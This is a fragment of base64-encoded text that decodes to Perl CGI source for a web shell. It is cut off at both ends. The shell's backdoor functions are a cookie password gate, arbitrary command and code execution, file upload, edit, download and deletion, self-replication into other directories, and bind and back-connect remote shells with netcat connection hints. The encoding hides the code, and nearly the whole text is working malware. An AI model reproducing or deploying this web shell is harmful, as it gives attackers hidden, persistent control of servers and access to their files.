Ow0KfQ0Kc3ViIG5sMmJyKCQpIHsNCiAgbXkgJHRleHQgPSBzaGlmdDsNCiAgJHRleHQgPX4gcy8oW1xyXG5dKS88YnIgXC8+JDEvZzsNCiAgcmV0dXJuICR0ZXh0Ow0KfQ0KDQpteSAlX1ZBUiA9ICZpbml0X2NnaTsNCm15ICVfQ09PS0lFID0gJmluaXRfY29va2llKCk7DQpteSAkeEN3ZCA9ICZ4Y2xlYW5wYXRoKCRFTlZ7J1NDUklQVF9GSUxFTkFNRSd9KTsNCm15ICRhdXRoID0gMDsNCm15ICRjbWRldmFsID0gIiI7DQpjaGRpcigkeEN3ZCk7DQppZihkZWZpbmVkKCRfVkFSeydwYXNzdyd9KSl7DQoJJGNoZWNrID0gJnRyaW0oJF9WQVJ7J3Bhc3N3J30pOw0KCSRmdXRfdGltZT1nbXRpbWUodGltZSgpKzM2MDAqMjQqNykuIiBHTVQiOw0KCSRmdXRfdGltZV89Z210aW1lKHRpbWUoKS0zNjAwKjI0KjcpLiIgR01UIjsNCg0KCWlmKCRjaGVjayBlcSAkc2hlbGxfcGFzc3dvcmQpew0KCQkkY29va2llID0gInBhc3M9Ii4kY2hlY2suIjsgcGF0aD0vOyBleHBpcmVzPSIuJGZ1dF90aW1lLiI7IjsNCgkJJG0gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KCQlwcmludCAiU2V0LUNvb2tpZTogIiAuICRjb29raWUgLiAiXG4iOw0KCQkkYXV0aCA9IDE7DQoJfQ0KCWVsc2Ugew0KCQkkY29va2llID0gInBhc3M9Ii4kY2hlY2suIjsgcGF0aD0vOyBleHBpcmVzPSIuJGZ1dF90aW1lXy4iOyI7DQoJCXByaW50ICJTZXQtQ29va2llOiAiIC4gJGNvb2tpZSAuICJcbiI7DQoJfQ0KfQ0KJGNoZWNrID0gIiI7DQppZihkZWZpbmVkKCRfQ09PS0lFeydwYXNzJ30pKSB7DQoJJGNoZWNrID0gJnRyaW0oJF9DT09LSUV7J3Bhc3MnfSk7DQp9DQppZigkY2hlY2sgZXEgJHNoZWxsX3Bhc3N3b3JkKXsNCgkkYXV0aCA9IDE7DQogfQ0KaWYoZGVmaW5lZCgkX1ZBUnsnaW1nJ30pKXsNCgkkZmlsZSA9ICZ0cmltKCRfVkFSeydpbWcnfSk7DQoJaWYoLWYgJGZpbGUpew0KCQlwcmludCAiQ29udGVudC10eXBlOiBpbWFnZS9qcGVnXG5cbiI7DQoJCWJpbm1vZGUgU1RET1VUOw0KICAgCSAJcHJpbnQgJnhmaWxlb3BlbigkZmlsZSwxKTsNCgkJZXhpdDsNCgl9DQoJZWxzZXsNCgkJJGltZyA9ICR7IiRmaWxlIn07DQoJCXByaW50ICJDb250ZW50LXR5cGU6IGltYWdlL3BuZ1xuXG4iOw0KCQliaW5tb2RlIFNURE9VVDsNCgkJcHJpbnQgJmI2NGRlY29kZSgkaW1nKTsNCgkJZXhpdDsNCgl9DQp9DQppZihkZWZpbmVkKCRfVkFSeydnZXQnfSkgJiYgKCRfVkFSeydnZXQnfSBuZSAiIikpew0KCSRmaWxlID0gJF9WQVJ7J2dldCd9Ow0KCSRmaWxleiA9ICZ4ZmlsZW9wZW4oJGZpbGUsMSk7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtXG4iOw0KCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPVwiIi4mYmFzZW5hbWUoJGZpbGUpLiJcIlxuXG4iOw0KCWJpbm1vZGUgU1RET1VUOw0KCXByaW50ICRmaWxlejsNCglleGl0Ow0KfQ0KaWYoZGVmaW5lZCgkX1ZBUnsnYnRuQ29ubmVjdCd9KSl7DQoJJHBvcnQgPSAkX1ZBUnsnYnBvcnRDJ307DQoJJGRpciA9ICZ4Y2xlYW5wYXRoKCRfVkFSeydkaXInfSk7DQoJaWYoJmlzX3dpbigpKSB7DQoJCSRiYXNlNjQgPSAkd0JpbmQ7DQoJfQ0KCWVsc2Ugew0KCQkkYmFzZTY0ID0gJHhCYWNrOw0KCX0NCg0KCWlmKCZ4cnVuZXhwbG9pdCgkZGlyLCRiYXNlNjQsJHBvcnQsImNvbm5lY3QiKSl7DQoNCgl9DQp9DQplbHNpZihkZWZpbmVkKCRfVkFSeydidG5MaXN0ZW4nfSkpew0KCSRwb3J0ID0gJF9WQVJ7J2xwb3J0Qyd9Ow0KCSRkaXIgPSAmeGNsZWFucGF0aCgkX1ZBUnsnZGlyJ30pOw0KCWlmKCZpc193aW4oKSl7DQoJCSRiYXNlNjQgPSAkd0JpbmQ7DQoJfQ0KCWVsc2V7DQoJCSRiYXNlNjQgPSAkeEJpbmQ7DQoJfQ0KDQoJaWYoJnhydW5leHBsb2l0KCRkaXIsJGJhc2U2NCwkcG9ydCwibGlzdGVuIikpew0KDQoJfQ0KfQ0KaWYoZGVmaW5lZCgkX1ZBUnsnZGlyJ30pICYmICgkX1ZBUnsnZGlyJ30gbmUgIiIpKXsNCgkkbmV3ZGlyID0gJnhjbGVhbnBhdGgoJnRyaW0oJF9WQVJ7J2Rpcid9KSk7DQoJaWYoZGVmaW5lZCgkX1ZBUnsnb2xkZmlsZW5hbWUnfSkgJiYgKCRfVkFSeydvbGRmaWxlbmFtZSd9IG5lICIiKSl7DQoJCSRuZXdkaXIgPSAmZGlybmFtZSgmdHJpbSgkX1ZBUnsncHJvcGVydGllcyd9KSk7DQoJfQ0KCWlmKGRlZmluZWQoJF9WQVJ7J2J0bk5ld1VwbG9hZExvY2FsJ30pKXsNCgkJJGZpbGVjb24gPSAkX1ZBUnsnZmlsZWxvY2FsJ307DQoJCWlmKGRlZmluZWQoJF9WQVJ7J2ZpbGVuYW1lJ30pKXsNCgkJCSRmaWxlbmFtZSA9ICZ0cmltKCRfVkFSeydmaWxlbmFtZSd9KTsNCgkJCWlmKCRmaWxlbmFtZSBlcSAiIil7DQoJCQkJJGZpbGVuYW1lID0gJF9WQVJ7J3VwbG9hZG5hbWUnfTsNCgkJCX0NCgkJfQ0KCQllbHNlew0KCQkJJGZpbGVuYW1lID0gJnRyaW0oJF9WQVJ7J3VwbG9hZG5hbWUnfSk7DQoJCX0NCgkJJnhmaWxlc2F2ZSgkbmV3ZGlyLiRmaWxlbmFtZSwkZmlsZWNvbik7DQoJCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCQlwcmludCAkbmV3ZGlyLiRmaWxlbmFtZTsNCgl9DQoJaWYoLWQgJG5ld2Rpcil7DQoJCWNoZGlyKCRuZXdkaXIpOw0KCQkkeEN3ZCA9ICRuZXdkaXI7DQoJfQ0KCWVsc2V7DQoJCSRuZXdkaXIgPSAmZGlybmFtZSgkbmV3ZGlyKTsNCgkJaWYoLWQgJG5ld2Rpcil7DQoJCQljaGRpcigkbmV3ZGlyKTsNCgkJCSR4Q3dkID0gJG5ld2RpcjsNCgkJfQ0KCX0NCglpZihkZWZpbmVkKCRfVkFSeydmb2xkZXJuYW1lJ30pICYmICgkX1ZBUnsnZm9sZGVybmFtZSd9IG5lICIiKSl7DQoJCSRmbmFtZSA9ICZ4Y2xlYW5wYXRoKCRfVkFSeydmb2xkZXJuYW1lJ30pOw0KCQlta2RpcigkbmV3ZGlyLiRmbmFtZSk7DQoJfQ0KCWVsc2lmKGRlZmluZWQoJF9WQVJ7J2RlbCd9KSAmJiAoJF9WQVJ7J2RlbCd9IG5lICIiKSl7DQoJCSRmZGVsID0gJF9WQVJ7J2RlbCd9Ow0KCQlpZigtZiAkZmRlbCl7DQoJCQl1bmxpbmsoJGZkZWwpOw0KCQl9DQoJCWVsc2lmKC1kICRmZGVsKXsNCgkJCSZ4cm1kaXIoJGZkZWwpOw0KCQkJJG5ld2RpciA9IHhwYXJlbnRmb2xkZXIoJG5ld2Rpcik7DQoJCX0NCgl9DQoJZWxzaWYoZGVmaW5lZCgkX1ZBUnsnY2hpbGRuYW1lJ30pICYmICgkX1ZBUnsnY2hpbGRuYW1lJ30gbmUgIiIpKXsNCgkJJGNoaWxkbmFtZSA9ICRuZXdkaXIuJnRyaW0oJF9WQVJ7J2NoaWxkbmFtZSd9KTsNCgkJJGNvbiA9ICZ4ZmlsZW9wZW4oJEVOVnsnU0NSSVBUX0ZJTEVOQU1FJ30sMSk7DQoJCSZ4ZmlsZXNhdmUoJGNoaWxkbmFtZSwkY29uKTsNCgl9DQp9DQppZihkZWZpbmVkKCRfVkFSeydjbWQnfSkgJiYgKCRfVkFSeydjbWQnfSBuZSAiIikpew0KCSRjbWQgPSAkX1ZBUnsnY21kJ307DQoJJHhDd2QgPSAmdHJpbSgkX1ZBUnsnZGlyJ30pOw0KCWlmKCRjbWQgPX4gbS9eY2QoLiopJC9pKXsNCgkJJG5ld2RpciA9ICZ0cmltKCQxKTsNCgkJaWYoJG5ld2RpciBlcSAiLi4iKXsNCgkJCSRuZXdkaXIgPSAmeHBhcmVudGZvbGRlcigkeEN3ZCk7DQoJCX0NCgkJZWxzaWYoJG5ld2RpciBlcSAiLiIpew0KCQkJJG5ld2RpciA9ICR4Q3dkOw0KCQl9DQoJCWVsc2lmKCRuZXdkaXIgPX4gbS86Lyl7DQoJCQkkbmV3ZGlyID0gJG5ld2RpcjsNCgkJfQ0KCQllbHNlew0KCQkJJG5ld2RpciA9ICR4Q3dkLiRuZXdkaXI7DQoJCX0NCgkJaWYoLWUgJG5ld2Rpcikgew0KCQkJY2hkaXIoJG5ld2Rpcik7DQoJCQkkeEN3ZCA9ICRuZXdkaXI7DQoJCX0NCgkJJHJlc3VsdCA9ICZ4ZGlyKCR4Q3dkKTsNCgl9DQoJZWxzaWYoJGNtZCA9fiBtL14oXHd7MX06LiopJC9pKXsNCgkJJG5ld2RpciA9ICZ0cmltKCQxKTsNCgkJaWYoLWUgJG5ld2Rpcil7DQoJCQljaGRpcigkbmV3ZGlyKTsNCgkJCSR4Q3dkID0gJG5ld2RpcjsNCgkJfQ0KCQkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KCX0NCgllbHNlIHsNCgkJJHJlc3VsdCA9ICZla3NlKCRjbWQpOw0KCQlpZigkcmVzdWx0IG5lICIiKSB7DQoJCQkkcmVzdWx0ID0gJmh0bWxzcGVjaWFsY2hhcnMoJHJlc3VsdCk7DQoJCQkkcmVzdWx0ID1+IHMvIC8mbmJzcDsvZzsNCgkJCSRyZXN1bHQgPSAmbmwyYnIoJHJlc3VsdCk7DQoJCX0NCgkJZWxzZSB7DQoJCQkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KCQl9DQoJfQ0KfQ0KZWxzaWYoZGVmaW5lZCgkX1ZBUnsnZXZhbCd9KSAmJiAoJF9WQVJ7J2V2YWwnfSBuZSAiIikpew0KCSRjbWRldmFsID0gJF9WQVJ7J2V2YWwnfTsNCgkkcmVzdWx0ID0gJmh0bWxzcGVjaWFsY2hhcnMoJnhldmFsKCRfVkFSeydldmFsJ30pKTsNCn0NCmVsc2lmKGRlZmluZWQoJF9WQVJ7J3Byb3BlcnRpZXMnfSkgJiYgKCRfVkFSeydwcm9wZXJ0aWVzJ30gbmUgIiIpKXsNCgkkZm5hbWUgPSAmdHJpbSgkX1ZBUnsncHJvcGVydGllcyd9KTsNCgkkZGlyID0gJnRyaW0oJF9WQVJ7J2Rpcid9KTsNCglpZihkZWZpbmVkKCRfVkFSeydvbGRmaWxlbmFtZSd9KSAmJiAoJF9WQVJ7J29sZGZpbGVuYW1lJ30gbmUgIiIpKXsNCgkJJG9sZG5hbWUgPSAmdHJpbSgkX1ZBUnsnb2xkZmlsZW5hbWUnfSk7DQoJCXJlbmFtZSgkb2xkbmFtZSwkZm5hbWUpOw0KCX0NCgkkZmNvbnQgPSAiIjsNCgkkZnZpZXcgPSAiIjsNCglpZigtZCAkZm5hbWUpew0KCQkkZnNpemUgPSAiRElSIjsNCgkJJGZjb250ID0gJnhkaXIoJGZuYW1lKTsNCgkJJGZhY3Rpb24gPSAiPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZm5hbWUpLiImcHJvcGVydGllcz0iLiZ4Y2xlYW5wYXRoKCRmbmFtZSkuIlwiPlByb3BlcnRpZXM8L2E+IHwgPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCh4cGFyZW50Zm9sZGVyKCRmbmFtZSkpLiImZGVsPSIuJnhjbGVhbnBhdGgoJGZuYW1lKS4iXCI+UmVtb3ZlPC9hPiI7DQoNCgl9DQoJZWxzZXsNCgkJJGZuYW1lID0gdHJpbXNsYXNoZXMoJGZuYW1lKTsNCgkJJGZzaXplID0gJnhwYXJzZWZpbGVzaXplKCZ4ZmlsZXNpemUoJGZuYW1lKSkuIiA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiZ4ZmlsZXNpemUoJGZuYW1lKS4iIGJ5dGVzPHNwYW4gY2xhc3M9XCJnYXVsXCI+ICk8L3NwYW4+IjsNCgkJJHR5cGUgPSAidGV4dCI7DQoJCWlmKGRlZmluZWQoJF9WQVJ7J3R5cGUnfSkpew0KCQkJJHR5cGUgPSAmdHJpbSgkX1ZBUnsndHlwZSd9KTsNCgkJfQ0KCQlpZigkdHlwZSBlcSAnaW1nJyl7DQoJCQkkaW1nbGluayA9ICI8cD48YSBocmVmPVwiP2ltZz0iLiRmbmFtZS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+dmlldyBmdWxsIHNpemU8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+PC9wPiI7DQoJCQkkZmNvbnQgPSAiPGRpdiBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO3dpZHRoOjEwMCU7XCI+Ii4kaW1nbGluay4iPGltZyB3aWR0aD1cIjgwMFwiIHNyYz1cIj9pbWc9Ii4kZm5hbWUuIlwiIGFsdD1cIlwiIHN0eWxlPVwibWFyZ2luOjhweCBhdXRvO3BhZGRpbmc6MDtib3JkZXI6MDtcIiAvPjwvZGl2PiI7DQoJCX0NCgkJZWxzZSB7DQoJCQkkY29kZSA9ICZodG1sc3BlY2lhbGNoYXJzKCZ4ZmlsZW9wZW4oJGZuYW1lLDApKTsNCgkJCSRmY29udCA9ICI8ZGl2IGNsYXNzPVwiYm94Y29kZVwiPiIuJm5sMmJyKCRjb2RlKS4iPC9kaXY+IjsNCgkJfQ0KCQkkZmFjdGlvbiA9ICI8YSBocmVmPVwiP2Rpcj0iLiZ4Y2xlYW5wYXRoKCRkaXIpLiImdmlldz0iLiRmbmFtZS4iXCI+RWRpdDwvYT4gfCA8YSBocmVmPVwiP2dldD0iLiRmbmFtZS4iXCI+RG93bmxvYWQ8L2E+IHwgPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZGlyKS4iJmRlbD0iLiRmbmFtZS4iXCI+UmVtb3ZlPC9hPiI7DQoJCSRmdmlldyA9ICI8YSBocmVmPVwiP2Rpcj0iLiZ4Y2xlYW5wYXRoKCRkaXIpLiImcHJvcGVydGllcz0iLiRmbmFtZS4iJnR5cGU9dGV4dFwiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPnRleHQ8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+PGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZGlyKS4iJnByb3BlcnRpZXM9Ii4kZm5hbWUuIiZ0eXBlPWltZ1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPmltYWdlPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+PC9hPiI7DQoJfQ0KCSRmb3duZXIgPSAmeGZpbGVvd25lcigkZm5hbWUpOw0KCSRmcGVybSA9ICZ4ZmlsZXBlcm1zKCRmbmFtZSk7DQoJQG1vbnRoID0gcXcvSmFuIEZlYiBNYXIgQXByIE1heSBKdW4gSnVsIEF1ZyBTZXAgT2N0IE5vdiBEZWMvOw0KCSgkbGEsJGxtLCRsYykgPSAoc3RhdCgkZm5hbWUpKVs4LDksMTBdOw0KCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsbSkpWzMsNCw1LDIsMV07DQoJJHkgPSAkeSArIDE5MDA7DQoJJGxtdGltZSA9IHNwcmludGYoIiUwMmQtJXMtJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7DQoJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsNCgkkeSA9ICR5ICsgMTkwMDsNCgkkbGF0aW1lID0gc3ByaW50ZigiJTAyZC0lcy0lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGMpKVszLDQsNSwyLDFdOw0KCSR5ID0gJHkgKyAxOTAwOw0KCSRjdGltZSA9IHNwcmludGYoIiUwMmQtJXMtJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7DQoJJHJlc3VsdCA9ICI8ZGl2IHN0eWxlPVwiZGlzcGxheTppbmxpbmU7XCI+DQoJPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzoxcHggOHB4O3RleHQtYWxpZ246bGVmdDtcIj4NCgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJGRpci4iXCIgLz4NCgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRmaWxlbmFtZVwiIHZhbHVlPVwiIi4kZm5hbWUuIlwiIC8+Ii4kZmFjdGlvbi4iIHwNCgk8c3Bhbj48aW5wdXQgc3R5bGU9XCJ3aWR0aDo1MCU7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwicHJvcGVydGllc1wiIHZhbHVlPVwiIi4kZm5hbWUuIlwiIC8+DQoJPGlucHV0IHN0eWxlPVwid2lkdGg6MTIwcHhcIiBjbGFzcz1cImJ0blwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYnRuUmVuYW1lXCIgdmFsdWU9XCJSZW5hbWVcIiAvPg0KCTwvc3Bhbj4NCgk8ZGl2IGNsYXNzPVwiZnByb3BcIj4NCglTaXplID0gIi4kZnNpemUuIjxiciAvPg0KCU93bmVyID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kZm93bmVyLiI8c3BhbiBjbGFzcz1cImdhdWxcIj4gKTwvc3Bhbj48YnIgLz4NCglQZXJtaXNzaW9uID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kZnBlcm0uIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUNyZWF0ZSBUaW1lID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kY3RpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUxhc3QgTW9kaWZpZWQgPSA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiRsbXRpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUxhc3QgQWNjZXNzZWQgPSA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiRsYXRpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCSIuJGZ2aWV3LiINCgk8L2Rpdj4NCgkiLiRmY29udC4iDQoJPC9mb3JtPg0KCTwvZGl2Pg0KCSI7DQp9DQplbHNpZigoZGVmaW5lZCgkX1ZBUnsndmlldyd9KSAmJiAoJF9WQVJ7J3ZpZXcnfSBuZSAiIikpIHx8ICgoZGVmaW5lZCgkX1ZBUnsnZmlsZW5hbWUnfSkgJiYgKCRfVkFSeydmaWxlbmFtZSd9IG5lICIiKSkpKXsNCgkkbXNnID0gIiI7DQoJaWYoZGVmaW5lZCgkX1ZBUnsnc2F2ZSd9KSl7DQoJCSRmaWxlID0gJnRyaW0oJF9WQVJ7J3NhdmVhcyd9KTsNCgkJJGNvbnRlbnQgPSAkX1ZBUnsnZmlsZXNvdXJjZSd9Ow0KCQlpZigmeGZpbGVzYXZlKCRmaWxlLCRjb250ZW50KSl7DQoJCQkkcGVzYW4gPSAiRmlsZSBTYXZlZCI7DQoJCX0NCgkJZWxzZXsNCgkJCSRwZXNhbiA9ICJGYWlsZWQgdG8gc2F2ZSBmaWxlIjsNCgkJfQ0KCQkkbXNnID0gIjxzcGFuIHN0eWxlPVwiZmxvYXQ6cmlnaHQ7XCI+PHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4kcGVzYW4uIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvc3Bhbj4iOw0KCX0NCgllbHNlIHsNCgkJaWYoZGVmaW5lZCgkX1ZBUnsndmlldyd9KSAmJiAoJF9WQVJ7J3ZpZXcnfSBuZSAiIikpew0KCQkJJGZpbGUgPSAmdHJpbSgkX1ZBUnsndmlldyd9KTsNCgkJfQ0KCQllbHNlew0KCQkJJGZpbGUgPSAkeEN3ZC4mdHJpbSgkX1ZBUnsnZmlsZW5hbWUnfSk7DQoJCX0NCgl9DQoJJHJlc3VsdCA9ICZ4ZmlsZW9wZW4oJGZpbGUsMCk7DQoJJHJlc3VsdCA9ICZodG1sc3BlY2lhbGNoYXJzKCRyZXN1bHQpOw0KCSRyZXN1bHQgPSAiDQoJPHAgc3R5bGU9XCJwYWRkaW5nOjA7bWFyZ2luOjA7dGV4dC1hbGlnbjpsZWZ0O1wiPjxhIGhyZWY9XCI/ZGlyPSIuJHhDd2QuIiZwcm9wZXJ0aWVzPSIuJGZpbGUuIlwiPiIuJnhmaWxlc3VtbWFyeSgkZmlsZSkuIjwvYT4iLiRtc2cuIjwvcD48ZGl2IHN0eWxlPVwiY2xlYXI6Ym90aDttYXJnaW46MDtwYWRkaW5nOjA7XCI+PC9kaXY+DQoJPGZvcm0gYWN0aW9uPVwiP2Rpcj0iLiR4Q3dkLiImdmlldz0iLiRmaWxlLiImc2F2ZT1TYXZlIEFzXCIgbWV0aG9kPVwicG9zdFwiPg0KPHRleHRhcmVhIG5hbWU9XCJmaWxlc291cmNlXCIgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoyMDBweDtcIj4iLiRyZXN1bHQuIjwvdGV4dGFyZWE+DQoJPGlucHV0IHR5cGU9XCJ0ZXh0XCIgc3R5bGU9XCJ3aWR0aDo4MCU7XCIgIG5hbWU9XCJzYXZlYXNcIiB2YWx1ZT1cIiIuJGZpbGUuIlwiIC8+DQoJPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIHN0eWxlPVwid2lkdGg6MTIwcHg7XCIgbmFtZT1cInNhdmVcIiB2YWx1ZT1cIlNhdmUgQXNcIiAvPg0KCTwvZm9ybT4NCgkiOw0KfQ0KZWxzZXsNCgkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KfQ0KDQokeEN3ZCA9IHhjbGVhbnBhdGgoJHhDd2QpOw0KaWYoJGF1dGgpew0KCWlmKGRlZmluZWQoJF9WQVJ7J2Jwb3J0Qyd9KSkgeyAkYnBvcnRDID0gJF9WQVJ7J2Jwb3J0Qyd9OyB9DQoJZWxzZSB7ICRicG9ydEMgPSAkc2hlbGxfZmF2X3BvcnQ7IH0NCglpZihkZWZpbmVkKCRfVkFSeydscG9ydEMnfSkpIHsgJGxwb3J0QyA9ICRfVkFSeydscG9ydEMnfTsgfQ0KCWVsc2UgeyAkbHBvcnRDID0gJHNoZWxsX2Zhdl9wb3J0OyB9DQoJJGh0bWxfdGl0bGUgPSAkc2hlbGxfdGl0bGUuIiAiLiR4Q3dkOw0KCSRodG1sX2hlYWQgPSAiDQo8dGl0bGU+Ii4kaHRtbF90aXRsZS4iPC90aXRsZT4NCjxsaW5rIHJlbD1cIlNIT1JUQ1VUIElDT05cIiBocmVmPVwiIi4kRU5WeydTQ1JJUFRfTkFNRSd9LiI/aW1nPWljb25cIiAvPg0KIi4kc2hlbGxfc3R5bGUuIg0KPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCI+DQpmdW5jdGlvbiB1cGRhdGVJbmZvKGJveGlkLHR5cCl7DQoJaWYodHlwID09IDApew0KCQl2YXIgcG9sYSA9ICdleGFtcGxlOiAodXNpbmcgbmV0Y2F0KSBydW4gJnF1b3Q7bmMgLWwgLXAgX19QT1JUX18mcXVvdDsgYW5kIHRoZW4gcHJlc3MgQ29ubmVjdCc7DQoJfQ0KCWVsc2V7DQoJCXZhciBwb2xhID0gJ2V4YW1wbGU6ICh1c2luZyBuZXRjYXQpIHByZXNzICZxdW90O0xpc3RlbiZxdW90OyBhbmQgdGhlbiBydW4gJnF1b3Q7bmMgIi4keFNlcnZlcklQLiIgX19QT1JUX18mcXVvdDsnOw0KCX0NCg0KCXZhciBwb3J0bnVtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYm94aWQpLnZhbHVlOw0KDQoJdmFyIGhhc2lsID0gcG9sYS5yZXBsYWNlKCdfX1BPUlRfXycsIHBvcnRudW0pOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGJveGlkKydfJykuaW5uZXJIVE1MID0gaGFzaWw7DQp9DQoNCmZ1bmN0aW9uIHNob3coYm94aWQpew0KCXZhciBib3ggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChib3hpZCk7DQoJaWYoYm94LnN0eWxlLmRpc3BsYXkgIT0gJ2lubGluZScpew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3ZmlsZScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZXdmb2xkZXInKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3dXBsb2FkJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25ld2NoaWxkJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25ld2Nvbm5lY3QnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGl2X2V2YWwnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KDQoJCWJveC5zdHlsZS5kaXNwbGF5ID0gJ2lubGluZSc7DQoJCWJveC5mb2N1cygpOw0KCX0NCgllbHNlIGJveC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KfQ0KZnVuY3Rpb24gaGlnaGxpZ2h0aGV4ZHVtcChhZGRyZXNzKXsNCgl2YXIgdGFyZ2V0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYWRkcmVzcyk7DQoJdGFyZ2V0LnN0eWxlLmJhY2tncm91bmQgPSAnIi4kc2hlbGxfY29sb3IuIic7DQp9DQpmdW5jdGlvbiB1bmhpZ2hsaWdodGhleGR1bXAoYWRkcmVzcyl7DQoJdmFyIHRhcmdldCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGFkZHJlc3MpOw0KCXRhcmdldC5zdHlsZS5iYWNrZ3JvdW5kID0gJ25vbmUnOw0KfQ0KPC9zY3JpcHQ+DQoiOw0KJGh0bWxfYm9keSA9ICINCjxkaXYgaWQ9XCJ3cmFwcGVyXCI+DQo8aDEgb25tb3VzZW92ZXI9XCJ0aGlzLnN0eWxlLmN1cnNvcj0ncG9pbnRlcic7dGhpcy5zdHlsZS5jdXJzb3I9J2hhbmQnO1wiICBvbmNsaWNrPVwid2luZG93LmxvY2F0aW9uPSAnPyc7XCI+PGEgaHJlZj1cIj9cIj4iLiRzaGVsbF90aXRsZS4iPC9hPjwvaDE+DQo8ZGl2IGNsYXNzPVwiYm94XCI+Ii4keEhlYWRlci4iDQo8ZGl2IGNsYXNzPVwiZnBhdGhcIj4NCiIuJnhkcml2ZSgpLiINCiIuJnhwYXJzZWRpcigkeEN3ZCkuIg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwibWVudVwiPg0KPGEgaHJlZj1cImphdmFzY3JpcHQ6c2hvdygnbmV3ZmlsZScpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiBOZXcgRmlsZTxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld2ZvbGRlcicpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPk5ldyBGb2xkZXI8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDpzaG93KCduZXdjaGlsZCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlJlcGxpY2F0ZTxzcGFuIGNsYXNzPVwiZ